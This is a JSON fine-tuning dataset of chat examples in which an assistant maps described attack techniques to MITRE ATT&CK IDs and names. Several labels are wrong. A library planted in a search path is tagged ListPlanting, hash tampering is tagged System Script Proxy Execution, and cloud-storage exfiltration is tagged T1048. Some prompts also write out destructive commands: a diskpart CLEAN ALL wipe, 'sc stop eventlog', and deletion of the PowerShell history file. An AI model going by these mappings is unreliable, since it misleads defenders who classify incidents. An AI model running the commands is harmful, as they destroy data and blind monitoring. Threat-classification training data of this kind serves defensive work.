                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised service to run \"diskpart /s wipe.txt\" where the script contains CLEAN ALL commands."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a public web service to tunnel command and control traffic, disguising it as normal HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using harvested Active Directory credentials, the adversary performed remote PowerShell sessions to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A deceptive email encourages the user to download and run a trojanized image file that actually contains a PE executable."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses Windows DDE to execute commands from a remote Office document."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor browses public code on GitLab to find database connection strings."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a USB-based hardware keylogger to capture keystrokes on a target computer, later retrieving the logs via the same removable media."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a macro that writes a command to the system's task scheduler, which later runs the command without direct user interaction."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Component Object Model to marshal objects across process boundaries, facilitating the execution of PowerShell scripts in a high-privilege context."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a public web server to host a small script that periodically checks for commands and exfiltrates data, acting as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute 'logrotate' with the '--force' option to truncate system logs on a macOS host."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage Bing's advanced search operators to locate vulnerable third‑party domains belonging to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker repurposes a standard utility by renaming it to a common file name like \"readme.txt\", then executes it to hide its true nature."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups abuse third‑party deployment agents, such as Ansible or Chef, to execute malicious playbooks on victim hosts after gaining credential access."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration was performed via a legitimate cloud storage service by uploading stolen documents through the provider's API."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool locates and uploads the local Zimbra mail archive files from the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the logon process, the attacker injects a malicious script via Group Policy Preferences that runs a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the registry to include stored Wi‑Fi passwords under HKLM\\Software\\Microsoft\\WlanSvc\\Profiles."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts open-source reconnaissance by querying search engines for publicly accessible subdomains and pages belonging to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged an OAuth token to programmatically export Confluence spaces in PDF format, then emailed the files to a dropbox."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised external proxy server is used to tunnel encrypted communications, allowing the attacker to bypass network firewalls."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the startup items list by creating a scheduled task that triggers on user login."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary forges Kerberos tickets for targeted services after stealing the service account credentials, allowing lateral movement without TGT requests."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a forged external trust relationship in Active Directory to allow compromised accounts to access resources in another domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses scheduled tasks to run a malicious command that reads encrypted data from the registry and runs it in-memory."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom-built tool to enumerate all keychain entries, focusing on items labeled ‘Safari AutoFill’."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises an IoT device and then uses it as a pivot point to escalate their privileges on other connected devices."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By allocating memory in the target process's thread local storage and copying shellcode there, the attacker achieves code execution without creating new threads."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploits an open proxy server to route malicious commands while concealing their IP address."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use public records and press releases to compile a list of the target organization's executives and their contact details."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a malicious TFTP server to supply a compromised boot image during the system's PXE boot process."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After delivering a payload, the attacker runs a routine to permanently delete all mail items from the compromised account."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses the sc.exe utility to install a rogue service that launches a cryptominer on boot."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell to capture video from the user's webcam and saves it for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining a valid SSH key, the adversary pulls the entire source tree from an internal CVS server to gather intellectual property."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a check for the registry key 'HKLM\\\\Software\\\\VMware, Inc.' and skips execution if present."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script runs rundll32.exe to load a malicious module, evading application whitelist checks."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team changes the TACACS+ configuration on a core switch to grant themselves elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script queries the Linux Secret Service to retrieve stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By poisoning DNS resolver caches, the attacker redirected users to phishing sites."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor disables audit logging by executing 'sc stop eventlog' on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exfiltrates data by embedding it in HTTP GET request parameters and sending them to a malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised the IIS web server by installing a backdoored ISAPI filter that runs arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes launchctl to start a hidden daemon that runs a reverse shell whenever the system boots."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulating signed developer binaries to act as a proxy for command execution."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a hidden window that is set to a size of 0 × 0 pixels, making it undetectable to the user."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware opens a reverse HTTP connection to a command server, periodically polling for new tasks."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs XPC messaging to coordinate data exfiltration between a background agent and a launch daemon running as root."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through strategic placement of a malicious shared library in a known search path, the attacker leverages a legitimate process to execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes an encrypted channel using the victim's public key to exchange data securely."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages API hooking on the Winlogon process, capturing passwords as users type them into the login screen."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows API CredEnumerate to enumerate all stored credentials in the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious OLE object is inserted into a PowerPoint presentation; upon opening, the Office Test routine triggers execution of an encoded command."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a benign-looking icon in a malicious shortcut placed in the startup folder, ensuring the payload runs automatically on system boot."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a D‑COM interface to remotely control a service, using inter‑process calls to launch additional payloads on victim hosts."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a DCSync operation, the adversary accessed the ntds.dit file remotely and harvested user password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor searches behind a corporate VPN for confidential design documents stored in a password‑protected SharePoint site."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a tool that harvested data from an internal Confluence instance, extracting project plans with sensitive client information."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a privileged backdoor to edit the macOS pf.conf file, removing block rules and opening all ports."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker altered the cloud firewall configuration in a tenant's OpenStack deployment, removing all deny rules."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the CREATE PROCEDURE command to embed a malicious DLL load that is triggered during routine queries."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to the System profile script (AllUsersAllHosts) so that it executes automatically for all users when PowerShell starts."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary checks for the existence of virtual disk driver files (e.g., vboxdrv.sys) and encrypts its payload only on physical hardware."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group engineers a polymorphic malware framework to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into a compromised e‑commerce site, causing browsers of shoppers to automatically fetch and execute a ransomware dropper."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the AppInit DLLs registry key to load a payload whenever the winlogon process spawns a new user session."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Service DLL path in the Registry to load a malicious DLL during system boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group stole persistent login cookies from a web application and used them to maintain long-term access without re-authenticating."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor queries DNSSEC and certificate transparency services to retrieve valid certificates for domains of interest."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor rewrites the domain controller's authentication registry keys to grant elevated access to a backdoor account."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Script drops a scheduled task that runs \"cmd.exe /c del /f /q %USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\" periodically."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify system binaries' hashes to evade integrity verification tools."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling PubPrn.exe with a crafted script, the attacker achieves code execution with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script manipulates the registry key 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\Wintrust\\Config' to relax code signing constraints."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the .NET registration tool regasm.exe to execute malicious code disguised as a legitimate assembly, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
